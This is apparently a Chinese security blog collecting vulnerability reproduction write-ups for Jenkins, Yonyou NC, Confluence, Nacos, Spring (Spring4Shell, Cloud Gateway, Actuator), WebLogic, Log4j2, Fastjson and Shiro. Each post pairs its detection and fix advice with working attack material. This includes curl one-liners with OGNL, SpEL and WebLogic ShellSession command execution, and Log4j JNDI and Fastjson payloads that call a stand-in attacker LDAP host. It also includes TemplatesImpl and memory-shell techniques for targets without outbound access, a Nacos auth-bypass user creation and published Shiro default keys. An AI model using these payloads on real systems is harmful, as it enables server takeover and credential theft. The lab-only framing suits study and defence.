框架漏洞 on SoulJian小站

Jenkins 未授权访问与代码执行利用

Sat, 29 Aug 2026 19:30:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。Jenkins 往往连着代码仓库与发布权限，入侵真实系统可能触犯法律。

一、漏洞原理

Jenkins 是 CI/CD 平台，权限配置不当极易被利用：

1
2
3
4


1. 未授权访问 /script 脚本控制台 → 执行 Groovy
2. CLI 文件读取（CVE-2024-23897）：args4j 解析器可读任意文件
3. 历史 RCE：CVE-2018-1000861（Groovy）、Git 插件等
4. 匿名用户权限过大（overall/read + script 权限）

本质：构建平台默认信任度高，权限与接口暴露就是灾难。

二、影响与危害

1
2
3


在构建节点/主节点执行命令
读取密钥、源码、凭据
利用构建任务横向到其他系统

风险等级：高到严重。

三、利用 / 复现

1. 脚本控制台执行 Groovy

1
2


访问 http://目标:8080/script（需相应权限/未授权）
在控制台输入：

1
2


println "id".execute().text
println new File("/etc/passwd").text

点 Run 即可看到命令输出。

2. CLI 文件读取（CVE-2024-23897）

1
2


# 低版本 Jenkins 通过 CLI 读文件
java -jar jenkins-cli.jar -s http://目标:8080/ connect-node @/etc/passwd

3. 爆破与弱口令

1
2


Jenkins 默认无密码（首次可创建用户）
尝试常见弱口令进入后台

四、检测

1
2
3
4


指纹：8080 端口、/jenkins 路径
探测 /script、/login、匿名权限
版本核对已知 CVE
日志中异常 /script 访问与 CLI 请求

五、防御

1
2
3
4


关闭匿名访问，强制认证
严格管理 /script 脚本控制台权限
限制 Jenkins 公网暴露
升级到安全版本

六、修复

1
2
3
4


升级 Jenkins 与插件到安全版本
收紧权限（脚本控制台仅管理员）
清理后门与异常任务
修复后复测：未授权访问与脚本执行被拒

七、小结

Jenkins 这类 CI/CD 是“高权限 + 易暴露”的组合，一旦被未授权/弱口令进入，就是代码和发布链路的失守。重点防护脚本控制台、匿名权限和公网暴露。

用友 NC 反序列化与接口 RCE 利用

Sat, 29 Aug 2026 19:20:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。用友 NC 多用于企业财务系统，入侵真实系统可能触犯法律。

一、漏洞原理

用友 NC/NCC 是国内企业常用的 ERP 系统，历史漏洞多且影响大。常见问题集中在：

1
2
3
4


1. 反序列化：接口对不可信对象反序列化 → RCE
2. BeanShell：部分版本存在 BeanShell 接口可直接执行
3. 文件上传：任意文件上传 → WebShell
4. 接口未授权：敏感接口可匿名访问

本质：ERP 系统功能多、历史包袱重，接口安全跟不上。

二、影响与危害

1
2
3


直接 RCE / GetShell
财务数据、数据库密码泄露
内网横向移动

风险等级：严重。

三、利用 / 复现

1. 反序列化

1
2
3


用友 NC 多个 Servlet/接口存在反序列化
配合 ysoserial（CommonsCollections 等）gadget 发送恶意序列化对象 → RCE
常见入口：/servlet/...、/NCFindWeb/...、NCCloud 相关接口

2. BeanShell

1
2


部分版本可访问 BeanShell 控制台/接口
通过 bsh 脚本执行命令

3. 文件上传

1
2


部分上传接口未校验类型
上传 JSP/WebShell 后访问执行

4. 工具化利用

1
2


网上有成熟的 NC 检测/利用脚本
先指纹识别版本，再对号入座打对应漏洞

四、检测

1
2
3
4


指纹：识别用友 NC 版本（登录页/特征路径）
探测反序列化接口与上传接口
版本核对已知 CVE 与公开 PoC
日志中异常序列化请求/上传文件

五、防御

1
2
3
4


升级到官方安全补丁版本
限制 ERP 系统公网暴露，走内网+VPN
对反序列化/上传接口做 WAF 防护
最小化开放端口

六、修复

1
2
3
4


及时打厂商补丁
清理已上传 WebShell 与后门
禁用不必要的接口与服务
修复后复测：反序列化与上传均被拒

七、小结

用友 NC 代表国内“老牌 ERP + 安全欠账”的典型场景。它的价值在于财务与内网数据，漏洞利用往往直通 GetShell。防护上“打补丁 + 收敛暴露面 + WAF”三件套缺一不可。

Confluence OGNL RCE 复现（CVE-2022-26134）

Sat, 29 Aug 2026 19:10:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Confluence RCE 可直接控制服务器，禁止对真实系统使用。

一、漏洞原理

CVE-2022-26134 是 Atlassian Confluence 未认证 OGNL 注入。Confluence 的 Webwork/XWork 框架会解析 URL 路径中的 OGNL 表达式，攻击者无需登录即可执行表达式 → RCE。

1

URL 路径 → 解析为 OGNL → 执行命令

影响版本（Confluence Server / Data Center）：

1
2
3
4
5
6
7


7.4.17 之前
7.13.0 – 7.13.7
7.14.0 – 7.14.2
7.15.0 – 7.15.1
7.16.0 – 7.16.3
7.17.0 – 7.17.2
7.18.0 – 7.18.1

二、影响与危害

1
2
3


未授权远程代码执行（RCE）
读取/篡改文档与配置
植入 WebShell、内网横向

风险等级：严重。

三、利用 / 复现

环境准备

1

docker run -d -p 8090:8090 --name conf vulhub/confluence:CVE-2022-26134

验证漏洞

构造 URL 编码的 OGNL，把命令结果回显到响应：

1

curl "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%29%29.%28%23a%29%7D/"

即 ${(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream()))} 的 URL 编码，响应里出现 uid= 即成功。

换命令

1
2


exec("whoami")
exec("cat /etc/passwd")

配合 nc 反弹 Shell 或写入 WebShell。

四、检测

1
2
3
4


请求路径中出现 ${ 的 URL 编码（%24%7B）与 OGNL 关键字
异常长路径、命令回显特征
Confluence 版本指纹核对
日志中大量异常路径请求

五、防御

1
2
3


升级 Confluence 到修复版本（7.4.17+/7.13.8+/7.18.2+ 等）
WAF 拦截 %24%7B 与 OGNL 关键字
限制 Confluence 公网暴露

六、修复

1
2
3
4


升级或应用官方补丁
清理已植入 WebShell/后门
限制管理端口与来源 IP
修复后复测：OGNL payload 不再执行

七、小结

Confluence 这种“文档/协作”组件常被忽略，但它是未认证 RCE 的高发区（OGNL 注入只是其中一个）。凡是暴露在公网、能当跳板的系统，都要纳入漏洞扫描与补丁管理。

Nacos 漏洞利用实战（未授权/认证绕过/反序列化）

Sat, 29 Aug 2026 19:00:00 +0800

写在前面：合法学习边界

本文利用只允许在授权环境进行。Nacos 里常存数据库密码与 AK/SK，读取真实配置可能触犯法律。

一、漏洞原理

Nacos 是阿里的微服务注册配置中心，生产里常存数据库密码、AK/SK、Token。它的问题集中在几类：

1
2
3
4
5


1. 默认/弱口令（nacos/nacos、nacos/admin）
2. 认证绕过（CVE-2021-29441，User-Agent/请求头伪造）
3. 未授权读取配置
4. Derby 内置数据库 SQL 注入
5. Raft Hessian 反序列化 RCE

本质：配置中心是高价值目标，却常被默认配置暴露在公网。

二、影响与危害

1
2
3


数据库密码、AK/SK、Token 批量泄露
微服务配置被篡改
反序列化直接 RCE、控制服务器

风险等级：高到严重（配置中心=全家桶钥匙）。

三、利用 / 复现

1. 默认口令登录

1
2


http://目标:8848/nacos
账号：nacos / nacos（老版本 admin/admin）

2. 认证绕过（CVE-2021-29441）

1
2
3


# 部分版本带 Nacos-Server 特征请求头可绕过鉴权
curl 'http://目标:8848/nacos/v1/auth/users?username=evil&password=evil' \
 -H 'User-Agent: Nacos-Server'

3. 未授权读配置

1
2


# 读取配置（需确认版本鉴权情况）
curl 'http://目标:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100'

4. Derby SQL 注入

1
2


# 内置 Derby 数据库存在 SQL 注入，可读取敏感数据
curl 'http://目标:8848/nacos/v1/cs/ops/derby?sql=select+*+from+users'

5. Hessian 反序列化 RCE

1
2
3


Nacos 1.4.x / 2.x 的 Raft 服务存在 Hessian 反序列化链
配合 ysoserial 类 gadget 可实现 RCE
需内网可达 9848/7848 等 Raft 端口

四、检测

1
2
3
4


指纹：8848 端口、/nacos/ 路径
尝试默认口令与 /v1/auth/users 认证绕过
扫描 Derby 注入与未授权配置接口
版本指纹后核对已知 CVE（含 Hessian 链）

五、防御

1
2
3
4
5


修改默认口令并开启强密码
生产启用鉴权与访问控制
关闭公网暴露，Nacos 走内网
最小化开放端口（8848/9848/7848）
对配置中心做网络隔离

六、修复

1
2
3
4


升级 Nacos 到安全版本
重置泄露的密钥/数据库密码
开启鉴权并配置正确 serverIdentity
修复后复测：未授权与绕过请求被拒

七、小结

Nacos 是“一把钥匙开全部门”：拿到配置中心，等于拿到数据库密码和云密钥。实战中它常常因为默认口令和公网暴露被秒穿，务必归入资产清单重点排查。

Spring 家族漏洞速览

Sat, 29 Aug 2026 18:20:00 +0800

写在前面：合法学习边界

本文是 Spring 家族漏洞清单，用于排查与加固。相关验证只在授权环境进行。

一、为什么要把 Spring 当“家族”看

Spring 不是一个软件，而是一整套生态：核心框架、Boot、Cloud、Data、Security、Session…每个分支都可能出问题。渗透测试时识别到 Spring 技术栈，就要按分支逐个排查。

二、各分支主要漏洞

1. Spring Framework（核心）

1
2
3


Spring4Shell（CVE-2022-22965）：数据绑定 → RCE
影响：5.3.0-5.3.17、5.2.0-5.2.19，JDK9+
修复：升级 5.3.18+/5.2.20+，禁用 class.* 绑定

2. Spring Cloud Gateway

1
2
3
4


SpEL 注入 RCE（CVE-2022-22947）
影响：3.1.0-3.1.1、3.0.0-3.0.6
修复：升级 3.1.2+/3.0.7+，认证 /actuator/gateway
详见本站 Spring Cloud Gateway 篇

3. Spring Data

1
2
3


SpEL 注入（CVE-2022-22950）：对不可信数据做 SpEL 求值
影响：Spring Data Commons 相关版本
修复：升级并避免对不可信输入求值

4. Spring Boot Actuator

1
2
3


管理端点未认证 → 信息泄露/组合 RCE
修复：生产关闭端点、加认证、最小化暴露
详见本站 Actuator 篇

5. Spring Security

1
2


配置不当：放行敏感接口、默认凭据、CORS 配置错误
修复：白名单 + 权限校验 + 审计

6. Spring Session / Spring MVC

1
2


会话固定、数据绑定过度、模板注入（视版本）
修复：升级 + 加固配置

三、渗透测试排查顺序

1
2
3
4
5


1. 指纹：识别 Spring Boot/Cloud/框架版本
2. 先扫 /actuator 系列端点
3. 确认版本后逐个核对已知 CVE
4. 有 gateway 端点 → 试 SpEL 注入
5. 有数据绑定接口 → 试 class.module（Spring4Shell）

四、修复与加固清单

1
2
3
4
5


统一升级 Spring 生态到安全版本
Actuator 生产禁用 + 认证
禁止 class.* 等危险属性绑定
WAF 拦截 SpEL/数据绑定关键字
对 Spring 组件做资产登记与版本监控

五、小结

Spring 家族漏洞“多而分散”，但排查思路是统一的：先指纹定版本，再按分支核对漏洞。把 Framework、Cloud Gateway、Boot Actuator、Data 分开记，就不会在“是哪个 Spring 出的问题”上打转。

Spring Boot Actuator 信息泄露与未授权访问

Sat, 29 Aug 2026 18:10:00 +0800

写在前面：合法学习边界

Actuator 端点利用只允许在授权环境进行。读取真实系统的密钥、dump 内存可能触犯法律。

一、漏洞原理

Spring Boot Actuator 默认暴露一系列管理端点，用于健康检查、配置查看、指标等。如果生产环境未认证就把端点暴露到公网，就变成信息泄露甚至 RCE 入口。

常见端点：

1
2
3
4
5
6
7
8


/actuator # 端点列表
/actuator/env # 环境变量与配置（可能含密钥）
/actuator/heapdump # 堆内存 dump（可提取密码/Token）
/actuator/mappings # 接口列表
/actuator/beans # Bean 信息
/actuator/configprops
/actuator/jolokia # JMX 访问（可组合 RCE）
/actuator/gateway # 网关路由（配合 SpEL RCE）

二、影响与危害

1
2
3
4


数据库密码、AK/SK、Token 泄露
堆内存 dump 提取敏感凭据
接口信息暴露，扩大攻击面
组合端点直接 RCE（jolokia、gateway）

风险等级：高到严重。

三、利用 / 复现

端点枚举

1
2
3
4
5


curl http://目标/actuator
curl http://目标/actuator/env
curl http://目标/actuator/health
curl http://目标/actuator/mappings
curl http://目标/actuator/beans

提取密钥

1
2
3
4


# 环境变量/配置里的密码与 token
curl http://目标/actuator/env | grep -iE 'password|secret|key|token'
# heapdump 下载后用工具分析
curl -o heap.hprof http://目标/actuator/heapdump

组合 RCE

1
2


jolokia：通过 JMX 执行操作（历史上有 RCE 链）
gateway：Spring Cloud Gateway 的 /actuator/gateway 路由注入 SpEL（见本站 Spring Cloud Gateway 篇）

四、检测

1
2
3
4


探测 /actuator 及常见子端点是否存在
响应中泄露配置/堆栈/端点信息
日志中访问 /actuator 的异常来源
指纹确认 Spring Boot 版本

五、防御

1
2
3
4


生产环境禁用 Actuator 或仅内网访问
对端点加认证（management.endpoints.web.exposure.include 最小化）
敏感端点（env/heapdump）单独关闭
网关/外网隔离管理端口

六、修复

1
2
3
4


配置 management.endpoints.enabled-by-default=false，只开必要端点
添加 Spring Security 保护 /actuator/**
清理已泄露的密钥并轮换
修复后复测：未认证访问被拒

七、小结

Spring Boot 的 Actuator 是“双刃剑”：运维方便，暴露即灾难。它是 Spring 家族里最常见的信息泄露面，渗透时先扫 /actuator，防守时先关端点、再加认证。

Spring4Shell 复现（CVE-2022-22965）

Sat, 29 Aug 2026 18:00:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Spring4Shell 可直接控制服务器，禁止对真实系统使用。

一、漏洞原理

Spring4Shell（CVE-2022-22965）是 Spring Framework 核心的 RCE 漏洞，利用的是 Spring MVC/WebFlux 的数据绑定机制。

原理链路：

1
2
3
4


1. 请求参数通过数据绑定写入 POJO 属性
2. 绑定器（BeanWrapper）允许访问 class.module.classLoader 等敏感属性（JDK9+）
3. 攻击者借此修改 Tomcat 的 AccessLogValve 配置
4. 让 Tomcat 把请求写入 JSP 文件 → 访问即执行 → RCE

影响版本与条件：

1
2
3


Spring Framework 5.3.0 – 5.3.17
Spring Framework 5.2.0 – 5.2.19
要求：JDK 9+、Spring MVC/WebFlux、部署在 Tomcat

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
写 WebShell、反弹 Shell、内网横向

风险等级：严重。和 Log4Shell 并列的 2022 年高危漏洞。

三、利用 / 复现

环境准备

1
2


# Spring4Shell 靶场（Tomcat + JDK8 不行，需 JDK9+）
docker run -d -p 8080:8080 --name s4s vulhub/spring-4shell:jdk9

手工验证（关键参数）

构造一组数据绑定参数，把 Tomcat AccessLogValve 的日志写到可执行目录：

1
2
3
4
5


class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP内容>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=/usr/local/tomcat/webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

再用 curl 发一个带 cmd 的请求，让日志把命令写入 JSP：

1
2


curl -X POST http://127.0.0.1:8080/xxxx?cmd=id \
 --data-urlencode 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=...' ...

访问生成的 shell.jsp 即可执行命令。

常用工具

1

python3 spring4shell.py（自动打）

四、检测

1
2
3
4


日志/流量中找 class.module.classLoader 关键字
AccessLogValve 相关参数（pipeline.first.pattern/suffix）
web 目录出现非业务 .jsp 文件
Spring 版本指纹 + JDK 版本确认

五、防御

1
2
3
4


升级 Spring Framework 到 5.3.18+ / 5.2.20+
禁用危险属性绑定（禁止 class.* 前缀）
WAF 拦截 class.module 关键字
Web 目录禁止写入

六、修复

1
2
3
4


立即升级 Spring 依赖
或配置 DataBinder 设置 allowed/disallowedFields 黑名单 class.*
清理已写入的 WebShell
修复后复测：class.module 参数被拒、不再生成文件

七、小结

Spring4Shell 的根因是数据绑定过度暴露了类内部属性。它和 Fastjson/Log4j 一样属于“组件默认行为导致 RCE”，防御核心是升级 + 禁用危险绑定 + WAF 拦截关键字。

Spring Cloud Gateway SpEL RCE 复现（CVE-2022-22947）

Sat, 29 Aug 2026 16:10:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Spring Cloud Gateway 漏洞利用影响真实服务，禁止对非授权目标使用。

一、漏洞原理

Spring Cloud Gateway 的 Actuator 提供网关路由管理端点。如果端点未认证，攻击者可以添加一条恶意路由，在路由的过滤器里写入 SpEL 表达式，Spring 在解析时会执行该表达式 → RCE。

1
2
3
4


1. POST /actuator/gateway/routes/{id} 添加恶意路由
2. 路由过滤器里带 SpEL：#{} 表达式
3. POST /actuator/gateway/refresh 触发刷新
4. 解析表达式执行命令

影响版本：

1
2
3


Spring Cloud Gateway 3.1.0 – 3.1.1
Spring Cloud Gateway 3.0.0 – 3.0.6
以及更早不安全的版本

二、影响与危害

1
2
3


远程代码执行（RCE）
Spring 应用被控制
内网横向

风险等级：严重。前提是 Actuator 网关端点暴露且未认证。

三、利用 / 复现

环境准备

1

docker run -d -p 8080:8080 --name scg vulhub/spring-cloud-gateway:CVE-2022-22947

第一步：确认端点存在

1

curl http://127.0.0.1:8080/actuator/gateway/routes

返回路由列表说明端点开放。

第二步：添加恶意路由（SpEL 注入）

1
2
3


curl -X POST http://127.0.0.1:8080/actuator/gateway/routes/hack \
 -H "Content-Type: application/json" \
 -d '{"id":"hack","filters":[{"name":"AddResponseHeader","args":{"name":"Result","value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri":"http://example.com","predicates":[{"name":"Path","args":{"_genkey_0":"/hack/**"}}]}'

第三步：刷新并触发

1
2
3
4
5
6


# 触发路由刷新
curl -X POST http://127.0.0.1:8080/actuator/gateway/refresh
# 访问路由触发执行
curl http://127.0.0.1:8080/hack/xxx
# 查看结果（回显在响应头）
curl -i "http://127.0.0.1:8080/actuator/gateway/routes/hack"

命令输出会出现在 Result 响应头里。

注意细节

1
2
3


命令数组写法避免空格问题：new String[]{"id"}
回显在响应头，不在响应体
路由 id 需要唯一

四、检测

1
2
3
4


日志中找 actuator/gateway/routes 与 refresh 请求
请求体出现 SpEL 关键字（#{}、Runtime、StreamUtils）
异常新增路由与响应头 Result
Spring 应用暴露未认证 actuator 端点

五、防御

1
2
3
4


生产环境关闭或认证 Actuator 端点
网关路由端点禁止匿名访问
WAF 拦截 SpEL 注入特征
按最小权限暴露 actuator

六、修复

1
2
3
4


升级 Spring Cloud Gateway 到 3.1.2+/3.0.7+
对 actuator 加认证与网络限制
清理已添加的恶意路由
修复后复测：SpEL 路由被拒、端点不可匿名访问

七、小结

CVE-2022-22947 提醒：Spring 的 Actuator 端点默认暴露就是风险面。测试时先扫 /actuator 相关路径，再判断有没有网关路由接口；防御核心是“端点要认证、版本要升级”。

WebLogic CVE-2020-14882 未授权 RCE 复现

Sat, 29 Aug 2026 16:00:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。WebLogic 漏洞利用可直接控制中间件，禁止对真实系统使用。

一、漏洞原理（两个 CVE 是一条链）

1
2


CVE-2020-14882：路径编码绕过认证，未授权访问管理后台 console
CVE-2020-14883：配合后台的 handle 参数执行命令（RCE）

1
2


14882：URL 里把 /console/ 用 %2e%2e 编码绕过权限判断
14883：未授权拿到后台后，用 ShellSession 执行任意命令

影响版本：

1
2
3
4


WebLogic 10.3.6.0
12.1.3.0
12.2.1.3 / 12.2.1.4
14.1.1.0

二、影响与危害

1
2
3


未授权进入管理后台
直接命令执行（RCE）
中间件完全控制、内网横向

风险等级：严重。WebLogic 在内网 Java 系统里非常常见。

三、利用 / 复现

环境准备

1

docker run -d -p 7001:7001 --name wl vulhub/weblogic:CVE-2020-14882

第一步：验证未授权访问（14882）

1
2


# 路径编码绕过
curl -k "http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal"

能返回 console 页面且无需登录，说明 14882 成立。

第二步：命令执行（14883）

老版本（10.3.6/12.1.3，未授权即可执行）：

1

curl -k "http://127.0.0.1:7001/console/console.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"java.lang.Runtime.getRuntime().exec('id');\")"

新版本（12.2.1.3+）默认关闭直接执行，需要先结合其他方式（如写文件）或利用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 加载远程 XML 实现 RCE。

回显技巧

1
2


命令无直接回显时：把结果写到 web 目录再访问
例如 exec("cmd /c whoami > servers/AdminServer/.../console_ext/1.txt")

四、检测

1
2
3
4


日志中找 /console/ 与 %2e%2e、%252e%252e 编码
访问 console 的 IP 不在白名单
出现 ShellSession、Runtime.getRuntime 关键字
异常出站连接与命令执行痕迹

五、防御

1
2
3
4


限制 console 访问来源（白名单/内网）
WAF 拦截 %2e%2e 与 ShellSession 关键字
升级到已修复版本
对 admin 端口做网络隔离

六、修复

1
2
3
4


升级 WebLogic 到官方安全补丁（含 14882/14883 修复）
关闭不必要的 console 暴露
给管理后台加二次认证/强口令
修复后复测：编码绕过路径与命令执行均被拒

七、小结

14882+14883 是“未授权 + 命令执行”的标准组合。识别特征：7001 端口 + /console/ 路径 + %2e%2e 编码。打 WebLogic 这类中间件，先判断版本，因为新旧版本利用链完全不同。

Log4j2 RCE 漏洞复现与缓解

Sat, 29 Aug 2026 13:30:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Log4Shell 影响面极广，禁止对真实系统触发 ${jndi:...} payload。

一、漏洞原理

Log4j2 的日志格式化支持 ${} 查找表达式（Lookup），其中包含 JNDI 查找。攻击者只要把 ${jndi:ldap://...} 塞进任何会被日志记录的字段（用户名、User-Agent、参数），服务器记录日志时就会发起 JNDI 查询，加载远程恶意对象 → RCE。

核心链路：

1
2
3
4


1. 日志记录不可信输入
2. 输入含 ${jndi:ldap://攻击机/Exploit}
3. Log4j2 解析表达式发起 JNDI 查询
4. 加载恶意类 → 命令执行

影响版本：Log4j2 2.0 – 2.14.1（CVE-2021-44228）。

二、影响与危害

1
2
3


远程代码执行（RCE）
几乎所有用 Log4j2 记录的输入点都可能触发
Java 应用、中间件、供应链组件大面积受影响

风险等级：严重，是 2021 年影响面最大的漏洞之一。

三、利用 / 复现

环境准备

靶场：一个用 Log4j2 记录日志的 Java 应用；攻击机：JNDI 工具（如 JNDIExploit）+ 监听端口。

第一步：用 DNSLog 验证是否存在

构造不执行命令、只做 DNS 回显的 payload：

1

${jndi:ldap://xxxxxxxx.dnslog.cn/a}

放到 User-Agent 或用户名里，触发一次请求，到 DNSLog 平台看有没有收到解析记录。

第二步：执行命令（授权环境）

1

curl -H 'User-Agent: ${jndi:ldap://攻击机:1389/Exploit}' http://127.0.0.1:8080/

攻击机 JNDI 服务返回恶意类，目标执行命令或反弹 Shell。

常见触发点

1
2
3


User-Agent、Referer、X-Forwarded-For
用户名、搜索关键词
任意被写进日志的输入字段

四、检测

1
2
3
4


日志/流量中搜 ${jndi:、${ldap:、${rmi:
异常 DNS 查询（对外 LDAP 1389/389、RMI 1099）
JNDI 出站流量到可疑域名
用扫描器批量验证受影响的输入点

五、防御

1
2
3
4


WAF 拦截 ${jndi: 及编码变体
关闭 JNDI 出站（防火墙/安全组）
对日志输入统一过滤特殊表达式
及时安装补丁

六、修复

1
2
3
4


升级 Log4j2 到 2.17.1+（含各分支修复版）
无法升级时设置 -Dlog4j2.formatMsgNoLookups=true
移除不必要的 JNDI/Lookup 依赖
修复后复测：${jndi: 不再触发 JNDI 查询

七、小结

Log4Shell 的教训是“日志输入也是攻击面”：凡是会被记录的不可信字段，都可能成为 RCE 入口。防御核心是升级 + 关闭 JNDI + WAF 拦截，并把它纳入组件漏洞清单持续监控。

Fastjson 反序列化 RCE 漏洞复现

Sat, 29 Aug 2026 13:20:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Fastjson 反序列化利用可直接控制目标，禁止对真实系统使用。

一、漏洞原理

Fastjson 的 @type 支持在 JSON 里指定要反序列化的类。当 autoType 开启（或绕过校验）时，攻击者可以指定危险类，触发 JNDI 注入或恶意方法链，最终造成命令执行。

核心链路：

1
2
3
4


1. JSON 里带 "@type": 恶意类
2. Fastjson 反序列化时加载该类
3. 类通过 JNDI/LDAP/RMI 拉取远程恶意对象
4. 恶意对象被加载执行 → RCE

影响版本：

1
2


Fastjson ≤ 1.2.24（经典版本）
以及后续多个存在 autoType 绕过问题的版本

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
内网横向移动

风险等级：严重。Fastjson 广泛用于 Java 接口，是实战高频目标。

三、利用 / 复现

环境准备

用 Docker 起 Fastjson 靶场，并在攻击机准备 JNDI 利用工具（如 JNDIExploit / marshalsec）。

第一步：验证是否使用 Fastjson

发送特殊键触发异常，看响应是否暴露 Fastjson 特征：

1

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

第二步：构造恶意 JSON

1
2
3
4
5


{
 "@type": "com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName": "ldap://攻击机:1389/Exploit",
 "autoCommit": true
}

攻击机用 JNDI 工具起 LDAP 服务，把 Exploit 指向一个恶意类。

第三步：触发并验证

1
2
3


curl -X POST http://127.0.0.1:8080/ \
 -H "Content-Type: application/json" \
 -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机:1389/Exploit","autoCommit":true}'

恶意类执行 id / 反弹 Shell，攻击机收到回连即验证成功。

不出网利用（重点）

很多实战环境目标无法访问攻击机（LDAP/RMI/HTTP 全被拦住），ldap://攻击机 这种 JNDI 出网打法会失败。这时要换思路：

思路一：TemplatesImpl 加载字节码（不出网首选）

利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，把恶意字节码塞进 JSON，由目标本地加载，不需要 JNDI 出网：

1
2
3
4
5
6
7


{
 "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 "_bytecodes": ["<Base64后的恶意class>"],
 "_name": "a",
 "_tfactory": {},
 "_outputProperties": {}
}

恶意 class 写成继承 AbstractTranslet，在 transform 里执行命令/写内存马。

前提：

1
2


目标 JVM 里存在 TemplatesImpl（JDK 自带）
对应 Fastjson 版本允许该 gadget（部分版本需要 checkAutoType 绕过）

思路二：打内存马（不出网持久化）

即使不能反弹 Shell，也可以往 Java 应用里注入内存马（Filter/Controller 型），用冰蝎/哥斯拉直接连接：

1
2


字节码写 Filter 型内存马 → 部署到应用上下文
后续用 webshell 工具连接，不走外连

思路三：打已有链/本地组件

1
2
3


HikariDataSource + JNDI 方式打 JDBC 连接串
BeanFactory / JdbcRowSetImpl 等本地链
利用应用自身依赖做二次利用

如何判断“出不出网”

1
2
3


用 DNSLog：发 ${jndi:ldap://xxx.dnslog.cn/a}，看是否有 DNS 回显
无回显 → 默认按不出网处理，直接上 TemplatesImpl/内存马
有回显 → 正常 JNDI 出网打法

四、检测

1
2
3
4


日志中找 "@type" 与常见恶意类名
请求中出现 ldap://、rmi://、jndi:
异常的长 JSON 与反序列化请求
对 Fastjson 版本做指纹确认

五、防御

1
2
3
4


关闭或严格限制 autoType
对 JSON 解析做类白名单
WAF 拦截 @type 与 jndi:/ldap:/rmi:
隔离 Java 应用运行环境

六、修复

1
2
3
4


升级 Fastjson 到安全版本（1.2.83+，并关注后续修复）
或直接迁移到 Jackson 等更安全的 JSON 库
用 safeMode 关闭 autoType
升级后复测：@type 恶意 payload 不再被解析执行

七、小结

Fastjson 漏洞的本质是“JSON 里带类名 → 反序列化加载 → JNDI 触发 RCE”。这类组件漏洞的防御核心是：升级 + 关 autoType + 白名单 + 隔离运行。

Shiro rememberMe 反序列化漏洞复现（550 与 721）

Sat, 29 Aug 2026 11:20:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Shiro 反序列化利用可直接控制目标机器，禁止对非授权目标使用。

一、先分清两个漏洞

Shiro 的 rememberMe 反序列化问题常被笼统叫“Shiro 反序列化”，但实战中要严格区分两个编号，利用方式完全不同：

1
2


Shiro-550（CVE-2016-4437）：密钥泄露型
Shiro-721：Padding Oracle 型（不依赖密钥）

1
2


550：rememberMe 用硬编码默认密钥 AES 加密 → 知道密钥就能构造
721：密钥是随机的 → 用 CBC Padding Oracle 逐字节改密文，不猜密钥

识别第一步永远先看密钥：能解出默认密钥就按 550 打；解不出再考虑 721。

二、Shiro-550：硬编码密钥反序列化

原理

1
2
3
4


1. rememberMe Cookie = AES(序列化对象)
2. 默认密钥 kPH+bIxk5D2deZiIxcaaaA== 是公开的
3. 攻击者用同一把密钥加密恶意序列化对象
4. 服务端反序列化执行 → RCE

常见默认密钥：

1
2


kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==

影响版本：Shiro <= 1.2.4，以及使用弱/默认密钥的版本。

影响

1
2
3


远程代码执行（RCE）
服务器被直接控制
内网横向

风险等级：严重。

利用

1
2
3


1. ysoserial 生成 gadget（CommonsCollections6 "id"）
2. 用默认 AES 密钥加密
3. Base64 后放进 rememberMe Cookie

常用工具：ShiroExploit / Shiro_attack-2.2，内置默认密钥字典一键打。

检测与修复

1
2


检测：抓 rememberMe Cookie，用默认密钥字典解密
修复：升级 Shiro 1.4.2+，自定义高强度密钥，密钥不进代码库

三、Shiro-721：Padding Oracle 利用

原理

721 的密钥是随机生成的，但 rememberMe 用的是 AES-CBC 模式。CBC 的解密过程里，前一组的密文（或 IV）被拿来 XOR 后一组明文，攻击者可以通过不断修改密文、观察服务端是否报错（PaddingError/deleteMe 差异），逐字节恢复明文或构造合法密文。

1

利用的是“加密算法模式”的弱点，而不是密钥

影响版本：Shiro < 1.4.2（CBC 模式，且报错信息可区分）。

影响

1
2


同 550：远程代码执行
但需要大量请求（打一次可能几万次试错）

风险等级：高到严重（条件更苛刻）。

利用要点

1
2
3


1. 需要一个合法可解密的 rememberMe（先登录拿一个）
2. 基于 Padding Oracle 修改密文 → 最终恢复 AES 密钥或直接构造恶意明文
3. 用恢复出的密钥/构造结果打反序列化

工具：shiro_721_exp、部分 ShiroExploit 版本支持。

为什么难

1
2


耗时高、请求量大、容易触发 WAF 告警
不同版本对 PaddingError 的回显差异不同

检测与修复

1
2


检测：大量 deleteMe/异常长 rememberMe 请求、高频试错流量
修复：升级 Shiro 1.4.2+（改用 GCM 等认证加密模式），并升级反序列化防护

